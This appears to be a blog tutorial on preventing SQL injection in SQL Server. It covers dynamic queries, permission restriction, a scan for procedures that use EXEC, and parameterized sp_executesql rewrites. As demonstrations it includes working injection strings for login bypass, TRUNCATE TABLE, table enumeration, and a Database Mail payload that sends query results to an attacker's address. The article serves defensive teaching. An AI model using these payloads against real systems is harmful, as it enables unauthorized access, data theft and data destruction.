- Audit on SQL Server (Server Audit)
- How to Create an Audit to Monitor Job Creation, Modification, and Deletion in SQL Server
- How to create an Audit trigger to log object manipulation in SQL Server
- SQL Server - How to implement audit and control of logins (Logon Trigger)
- Monitoring DDL and DCL Operations Using SQL Server fn_trace_gettable
- Using SQL Server Standard Trace to Audit Events (fn_trace_gettable)
- SQL Server - Permissions and privileges audit trigger at database and instance level (GRANT and REVOKE)
- SQL Server - How to Monitor and Audit Data Changes in Tables Using Change Data Capture (CDC)
- SQL Server 2016 - How to “Time Travel” Using the Temporal Tables Feature
- SQL Server - How to use auditing to map actual required permissions on a user
- SQL Server - Trigger to prevent and prevent changes to tables
- SQL Server - How to Create a Data Change History for Your Tables (Audit Logs)
- SQL Server - How to Avoid Brute Force Attacks on Your Database
- SQL Server Security Checklist - An SP with more than 70 security items to validate your database.
- SQL Server - How to know the date of a user's last login
- SQL Server - How to Avoid and Protect Against Ransomware Attacks Like WannaCry on Your Database Server
- SQL Server – Beware of server role securityadmin! Using privilege elevation to become sysadmin
- SQL Server - How to Avoid SQL Injection? Stop using Dynamic Query as EXEC (@Query). Now.
- SQL Server - Understanding the Risks of TRUSTWORTHY Property Enabled in a Database
- SQL Server - Password Policies, Password Expiration, Mandatory Password Change, and Login Lockout after N attempts
Hey guys!
In this article I would like to share with you the risks of using Dynamic Query in SQL Server through the EXECUTE command and demonstrating safe ways to use dynamic query that are not susceptible to SQL Injection attacks.
What is Dynamic Query?
Click to view contentAfter the final string has been constructed, it is processed by the EXECUTE command (or EXEC, for the most intimate .. rs) and whatever is in that string will be executed in the database.
It is very important to note that dynamic query is not specific only to queries mounted from SQL Server. A system can do the same thing by creating a string variable in C # source code, for example, assembling the string and then sending that string to the database. This is also a dynamic query, but mounted within the application and for the database, it will just be an ad-hoc query that the application is submitting.
Basic example:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
DECLARE @Objeto VARCHAR(128) = 'sys.objects', @Nome_Objeto VARCHAR(128) = 'syscerts', @Query VARCHAR(MAX) -- Monta a nossa query dinâmica SET @Query = 'SELECT * FROM ' + @Objeto + ' WHERE [name] = ''' + @Nome_Objeto + '''' -- Mostra na tela a query final depois de montada SELECT @Query -- Executa o comando no banco EXEC(@Query) |
As you can see, the possibilities are endless using Dynamic Query. From joining and defining columns returned by a SELECT to controlling filters in WHERE. A really cool example from a performance standpoint would be this one (which happens a lot):
Original query:
1 2 3 4 5 6 7 8 9 10 11 12 |
DECLARE @Schema_ID INT = 4, @Nome_Objeto VARCHAR(128) = 'syscerts', @Type VARCHAR(10), @object_id INT SELECT * FROM sys.objects WHERE (@Schema_ID IS NULL OR [schema_id] = @Schema_ID) AND (@Nome_Objeto IS NULL OR [name] = @Nome_Objeto) AND (@Type IS NULL OR [type] = @Type) AND (@object_id IS NULL OR [object_id] = @object_id) |
This bunch of @variabel IS NULL OR [column] = @variable in the query's WHERE filter can often cause a query performance problem because SQL will have to do several validations on the filter to return the data. A possible solution to this would be to use precisely the dynamic query:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
DECLARE @Schema_ID INT = 4, @Nome_Objeto VARCHAR(128) = 'syscerts', @Type VARCHAR(10), @object_id INT, @Query VARCHAR(MAX) -- Monta a base da nossa query dinâmica SET @Query = 'SELECT * FROM sys.objects WHERE 1=1' -- Aplica os filtros dinâmicamente IF (@Nome_Objeto IS NOT NULL) SET @Query += ' AND [name] = ''' + @Nome_Objeto + '''' IF (@Type IS NOT NULL) SET @Query += ' AND [type] = ''' + @Type + '''' IF (@Schema_ID IS NOT NULL) SET @Query += ' AND [schema_id] = ' + CAST(@Schema_ID AS VARCHAR(10)) IF (@object_id IS NOT NULL) SET @Query += ' AND [object_id] = ' + CAST(@object_id AS VARCHAR(10)) -- Mostra na tela a query final depois de montada SELECT @Query -- Executa o comando no banco EXEC(@Query) |
If we are going to analyze the dynamically generated final query and the original OR-filled query, we see that the dynamic query that is executed is much simpler than the original query. And this is reflected in the execution plan and the execution cost as well:
That is, the dynamic query has its justifiable applicability YES, and is very useful in N scenarios, but we need to be very careful about its use so as not to expose our environments to SQL Injection attacks.
What is SQL Injection and how serious is it?
Click to view contentIf you are thinking that this technique should be very complex and elaborate, you are very wrong. It is quite simple to use and an attacker can use it in text fields of an application, such as a Login screen for example, which sends a dynamic query to the bank to verify that the username and password entered are correct. correct.
Example 1 - Logging into the system without authorization
Imagine a scenario with the following table in your bank, used for user registration and authentication in a very simple way:
1 2 3 4 5 6 7 8 |
CREATE TABLE dbo.Usuarios ( Id_Usuario INT IDENTITY(1,1) NOT NULL PRIMARY KEY CLUSTERED, Ds_Email VARCHAR(200) NOT NULL, Ds_Senha VARCHAR(100) NOT NULL ) INSERT INTO dbo.Usuarios |
And now imagine that your C # application has the following code to validate the email and password:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
try { using (var conn = new SqlConnection(dadosConexao)) { conn.Open(); using (var cmd = new SqlCommand()) { cmd.CommandType = CommandType.Text; cmd.Connection = conn; /* Olha a nossa query dinâmica aqui :) */ var dsQuery = "SELECT 1 FROM dbo.Usuarios WHERE Ds_Email = '" + email + "' AND Ds_Senha = '" + senha + "'"; cmd.CommandText = dsQuery; var retorno = cmd.ExecuteScalar(); if (retorno != null && retorno = "1") Login.autenticaUsuario(); else Login.retornaErro(); } } } catch (Exception e) { Retorno.Erro("Erro : " + e.Message); } |
What will arrive at the bank is the consultation that the application set up. If a malicious user tries to perform a SQL Injection attack, using a simple approach, such as placing the string “'OR' x '=' x'–” in the user's field and clicking on the application's “Login” button, this is the query that will arrive in the database:
1 |
SELECT * FROM dbo.Usuarios WHERE Ds_Email = '' OR 'x'='x'--' AND Ds_Senha = '' |
Result: Attacker successfully logged in
And believe me. exist Lots of strings like this to perform SQL Injection attacks.
Example 2 - Erasing and viewing data
In the same example above, on a simple login screen, note that a simple string like “'; TRUNCATE TABLE dbo.Usuarios; - ”can cause major disruption in the life of a DBA by simply DELETING all data from the System Users table.
Of course, the attacker still needs to discover the name of the system tables and, in the scenario above, this task ends up being complicated because the query does not return much data, just a validation. But if this is on a query screen, for example, where the returned data is shown in a table on the screen, then we have an ideal scenario for carrying out an attack using a string like “'; SELECT name, name, name, name FROM sys.tables; - ”in a search field, for example, that we know is showing 4 columns on the screen.
Query that ends up being sent to the database:
1 2 3 |
SELECT cpfcnpj, FirstName, [Uid], ID FROM dbo.Tabela WHERE cpfcnpj = ''; SELECT name, name, name, name FROM sys.tables; --' |
And then the attacker now has the name of the tables that exist in the database .. Which made the “joke” much more interesting now, since he can delete data from any of these tables or view this data through the system itself. What if he could send the table data by email? Hummm ..
Using the string “'; EXEC msdb.dbo.sp_send_dbmail @recipients = '[email protected]', @subject =' Test ', @query =' SELECT * FROM Users' - “, the attacker can use the DatabaseMail installed on the database server to send the results of a query to himself and view the database data :
That is, the idea here is to show how dangerous SQL Injection attacks are. That's because I won't even demonstrate how to use xp_cmdshell to run operating system level commands on the server. You can even download ransomware remotely and run on the server. All this through a simple search field in the system.
How can I protect myself against SQL Injection?
Click to view contentTip 1 - Restriction of permissions at the database level
The first step in containing this type of attack is to first limit the range of the attack and then try to prevent it from happening.
Yes, that's right. It seems strange, but just being able to limit how far such an attack can go is often a much faster process to implement in the environment and so I prefer to start with this step.
Of course this generalization of mine is based on traditional scenarios and should be evaluated yes, because your scenario may be different. Usually in large enterprise scenarios, there are several different systems accessing the same instance, with dozens of Stored Procedures with dynamic query, apart from the various ad-hoc queries that are dynamic application-mounted query queries sent to the database.
Evaluating and addressing all of these entryways is often time consuming to do. Precisely for this reason, I recommend starting by restricting the permissions of application users. It is very unusual for a system user to need permissions that go beyond read / write to the database (s) the system accesses. Instance level permissions are very rare to really need for system users.
And don't tell me you always release permission from db_owner no huh! Let's stop it TODAY. A db_owner permission implicitly loads other unnecessary permissions as IMPERSONATE, which is so dangerous for audits, and also allowed to view and list databases, even if it do not have VIEW ANY DATABASE permission.
In the vast majority of cases, an application may need, at most, general EXECUTE permission on the database and be in the database roles db_datareader, db_datawriter and perhaps, db_ddladmin. If you are one of those DBA's that release db_owner permission for the application user because it is more practical, I suggest reading the article SQL Server - Understanding the Risks of TRUSTWORTHY Property Enabled in a Database, which shows what a db_owner user can do in an environment where the database has the TRUSTWORTHY parameter enabled. Even if not, he will be allowed to use IMPERSONATE, which is already quite dangerous.
Tip 2 - Restriction of permissions at the instance level
Unfortunately, what do we see on a daily basis? Application connecting to bank with SA user or application user with sysadmin permission. That is, imagine the scenario where you have a very simple web system to meet a specific need of the business sector of the company. This system is just a supplier registration, which is not even as critical for the company. And this system connects to the bank with user sa. An attacker finds a breach using this sysadmin user and applies an SQL Injection on the instance that contains all enterprise systems.
Company-wide data captured and then successfully encrypted! And all this from a system that was not even the core of the company. That is, the first step to prevent this type of attack is to limit the permissions of applications and in which databases this application can read / write data. If a system does not access / alter any tables from another bank, why does it have this permission?
Also, simply because the application does not have sysadmin permissions, the attacker will not be able to enable features that are disabled, such as xp_cmdshell, and will not be able to execute critical commands like xp_cmdshell, send emails using Database Mail, etc. .
For all of the reasons mentioned above, it is essential to limit the permission of instance-level application users. The idea is that you don't even have this permission. Using SA users or users with sysadmin permission is unthinkable and unjustifiable.
Tip 3 - Restriction of permissions at the operating system (OS) level
To close this part of permissions, we also need to limit SQL Server user permissions on the operating system. We see in many companies the SQL Server service user with Local Server Administrator permissions or even Domain Admin (Maximum permission within Active Directory. You can do EVERYTHING on ANY server).
This type of permission greatly enhances the effect of these SQL Injection attacks. So the most correct is to limit yourself to the SQL Server services user, who is the one who executes the OS commands when you run an xp_cmdshell, for example, for a user with lowest permission required.
Tip 4 - Identify the dynamic queries of the environment
As I mentioned above, the permissions part is usually faster to implement and so I choose to do it first of all. Now let's change our focus to avoid attacks, but we need to identify what are the possible entry points for SQL Injection attacks, ie where we are using Dynamic Query in our environment.
At the application and system level, this work should be done by the Systems / Development team, scanning all source code for locations that use dynamic query and applying the handling of it in the application, because when the query is mounted in the application, the database has no way to differentiate what is dynamic query or not to try to handle it in the database.
At the database level, when there are Stored Procedures that use this dynamic query technique, we can use a T-SQL query to identify all of these SP's and evaluate which ones can be used for SQL Injection attacks. Generally, I only evaluate Procedures that have string type parameters (varchar, nvarchar, char, nchar) and larger than 10. Numerical parameters and short strings are very difficult to use for SQL Injection.
To identify these Stored Procedures, you can use the query below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
DECLARE @Objetos_Query_Dinamica TABLE ( [Ds_Database] nvarchar(256), [Ds_Objeto] nvarchar(256), [Ds_Tipo] nvarchar(128), [definition] VARCHAR(MAX) ) IF (OBJECT_ID('tempdb.dbo.#Palavras_Exec') IS NOT NULL) DROP TABLE #Palavras_Exec CREATE TABLE #Palavras_Exec ( Palavra VARCHAR(100) COLLATE SQL_Latin1_General_CP1_CI_AI ) INSERT INTO #Palavras_Exec VALUES('%EXEC (%'), ('%EXEC(%'), ('%EXECUTE (%'), ('%EXECUTE(%'), ('%sp_executesql%') INSERT INTO @Objetos_Query_Dinamica EXEC sys.sp_MSforeachdb ' IF (''?'' <> ''tempdb'') BEGIN SELECT DISTINCT TOP(100) ''?'' AS Ds_Database, B.[name], B.[type_desc], A.[definition] FROM [?].sys.sql_modules A WITH(NOLOCK) JOIN [?].sys.objects B WITH(NOLOCK) ON B.[object_id] = A.[object_id] JOIN #Palavras_Exec C WITH(NOLOCK) ON A.[definition] COLLATE SQL_Latin1_General_CP1_CI_AI LIKE C.Palavra WHERE B.is_ms_shipped = 0 AND ''?'' <> ''ReportServer'' AND B.[name] NOT IN (''sp_WhoIsActive'', ''sp_showindex'', ''sp_AllNightLog'', ''sp_AllNightLog_Setup'', ''sp_Blitz'', ''sp_BlitzBackups'', ''sp_BlitzCache'', ''sp_BlitzFirst'', ''sp_BlitzIndex'', ''sp_BlitzLock'', ''sp_BlitzQueryStore'', ''sp_BlitzWho'', ''sp_DatabaseRestore'') AND NOT (B.[name] LIKE ''stp_DTA_%'' AND ''?'' = ''msdb'') AND NOT (B.[name] = ''sp_readrequest'' AND ''?'' = ''master'') AND EXISTS ( SELECT NULL FROM [?].sys.parameters X1 WITH(NOLOCK) JOIN [?].sys.types X2 WITH(NOLOCK) ON X1.system_type_id = X2.user_type_id WHERE A.[object_id] = X1.[object_id] AND X2.[name] IN (''text'', ''ntext'', ''varchar'', ''nvarchar'') AND (X1.max_length > 10 OR X1.max_length < 0) ) END' SELECT * FROM @Objetos_Query_Dinamica |
Now just identify, validate and analyze the queries that appear in that query and verify that they are susceptible to SQL Injection attacks and, whenever possible, exchange the EXECUTE command for sp_executesql. In the next topic I will show the reason.
Tip 5 - Treat dynamic queries
And now the part has come where we should handle our consultations, finally.
At the application and system level, this work should be done by the Systems / Development team, scanning all source code for dynamic query locations and applying the handling of this in the application, as I had commented in the previous topic. There are several ways to avoid this in the application, such as parameter queries, which will block any type of SQL Injection that an attacker might try to attack.
At the database level, you should use the query I shared in the previous topic to identify queries that use dynamic query. The first step is to analyze if this query really needs to be dynamic. Believe me, I've seen many cases where dynamic query was used without any need, as I will demonstrate below:
1 2 3 4 5 6 7 8 9 10 |
ALTER PROCEDURE dbo.stpConsulta_CPF ( @CPF VARCHAR(14) ) AS BEGIN DECLARE @Query VARCHAR(MAX) = 'SELECT * FROM dbo._Teste WHERE CPF = ''' + @CPF + '''' EXEC(@Query) END |
Note that in the example above, using dynamic Query is highly avoidable:
1 2 3 4 5 6 7 8 9 10 11 |
ALTER PROCEDURE dbo.stpConsulta_CPF ( @CPF VARCHAR(14) ) AS BEGIN SELECT * FROM dbo._Teste WHERE CPF = @CPF END |
Much safer now and we got rid of SQL Injection in this example. 🙂
Does the query really need to be dynamic? So the second step is to swap EXECUTE commands whenever possible for sp_executesql, since the second option allows parameterization of queries. I'll even use the example I already showed here.
Dynamic Query with EXECUTE:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
DECLARE @Schema_ID INT = 4, @Nome_Objeto VARCHAR(128) = 'syscerts', @Type VARCHAR(10), @object_id INT, @Query VARCHAR(MAX) -- Monta a base da nossa query dinâmica SET @Query = 'SELECT * FROM sys.objects WHERE 1=1' -- Aplica os filtros dinâmicamente IF (@Nome_Objeto IS NOT NULL) SET @Query += ' AND [name] = ''' + @Nome_Objeto + '''' IF (@Type IS NOT NULL) SET @Query += ' AND [type] = ''' + @Type + '''' IF (@Schema_ID IS NOT NULL) SET @Query += ' AND [schema_id] = ' + CAST(@Schema_ID AS VARCHAR(10)) IF (@object_id IS NOT NULL) SET @Query += ' AND [object_id] = ' + CAST(@object_id AS VARCHAR(10)) -- Mostra na tela a query final depois de montada SELECT @Query -- Executa o comando no banco EXEC(@Query) |
Now let's make some changes to the query to use the parameterized query with sp_executesql:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
DECLARE @Schema_ID INT = 4, @Nome_Objeto VARCHAR(128) = 'syscerts', @Type VARCHAR(10), @object_id INT, @Query NVARCHAR(MAX) -- Monta a base da nossa query dinâmica SET @Query = 'SELECT * FROM sys.objects WHERE 1=1' -- Aplica os filtros dinâmicamente IF (@Nome_Objeto IS NOT NULL) SET @Query += ' AND [name] = @Nome_Objeto' IF (@Type IS NOT NULL) SET @Query += ' AND [type] = @Type' IF (@Schema_ID IS NOT NULL) SET @Query += ' AND [schema_id] = @Schema_ID' IF (@object_id IS NOT NULL) SET @Query += ' AND [object_id] = @object_id' -- Mostra na tela a query final depois de montada SELECT @Query -- Executa o comando no banco EXEC sys.sp_executesql @stmt = @Query, @params = N'@Nome_Objeto VARCHAR(128), @Type VARCHAR(10), @Schema_ID INT, @object_id INT', @Nome_Objeto = @Nome_Objeto, @Type = @Type, @Schema_ID = @Schema_ID, @object_id = @object_id |
And so, we have the best of all worlds: Flexible and customizable Query, fast and secure.
References
Click to view content- Run Dynamic SQL commands in SQL Server
- Protecting Yourself from SQL Injection in SQL Server - Part 1
- Protecting Yourself from SQL Injection in SQL Server - Part 2
- Using Parameters for SQL Server Queries and Stored Procedures
- Using Triggers to Mitigate Some SQL Injection Effects
- SQL Injection - the golden rule
- SQL Injection: Defense in Depth
- Everything you wanted to know about SQL injection (but were afraid to ask)
- Stored procedures and ORMs won't save you from SQL injection
- Dynamic SQL & SQL injection
That's it folks!
I hope you enjoyed this article and you start taking the safety of your environment more seriously. If you are concerned about the safety of your environment and want the advice of a subject matter expert, please request the FREE Database Check-Up + Security Analysis: Do You Need It?.
Strong hug and until next time!
what is how to avoid protecting yourself sql server sql injection
what is how to avoid protecting yourself sql server sql injection